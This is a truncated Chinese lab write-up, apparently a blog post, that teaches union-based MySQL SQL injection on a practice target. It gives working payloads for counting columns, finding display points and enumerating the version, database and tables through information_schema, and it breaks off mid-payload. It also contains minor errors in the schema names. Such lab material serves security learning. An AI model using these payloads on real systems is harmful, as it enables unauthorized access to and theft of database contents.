sql注入中Mysql常用的数据库:
information_schema.tables ; 记录了数据库中所有的表名
information_schema.columns; 记录了数据库中所有的列名
在有错误回显的注入过程中,注入过程大致如下:
利用‘id = 1 and 1=1 ’&&‘id =1 and 1=2’ 判断是否存在注入点。
利用order by 语句确认该表有多少个字段值。
利用union select 联合查询语句确认注入显示点,因为在mysql中联合查询要求字段数必须一致。
database()确认当前所在数据库和version()确认当前数据库版本。
union select table_name from information.schema_tables where table_schema = ‘获取到的数据库名字’,查询当前所在表名。
union select column_name from information.schema_columns where table_name = ‘获取到的表名’,查询该表所有字段名
union select ‘字段值’ from ‘表名称’,获取表内容。
第一关
1' order by 1#
1' order by 2#
1' order by 3# //报错,所以order by猜解得到的列数为2,判断字段数为2
判断回显点,有两个回显点
1' union select 1,2#
查询当前数据库版本,查询当前数据库名
1' union select version(),database()#
查询当前数据库 表名
1' union select 1,table_name from information_schema.tables where table_schema=database()#
1' union select 1,tab
数据安全靶机
最新推荐文章于 2024-05-18 18:45:00 发布
![](https://img-home.csdnimg.cn/images/20240711042549.png)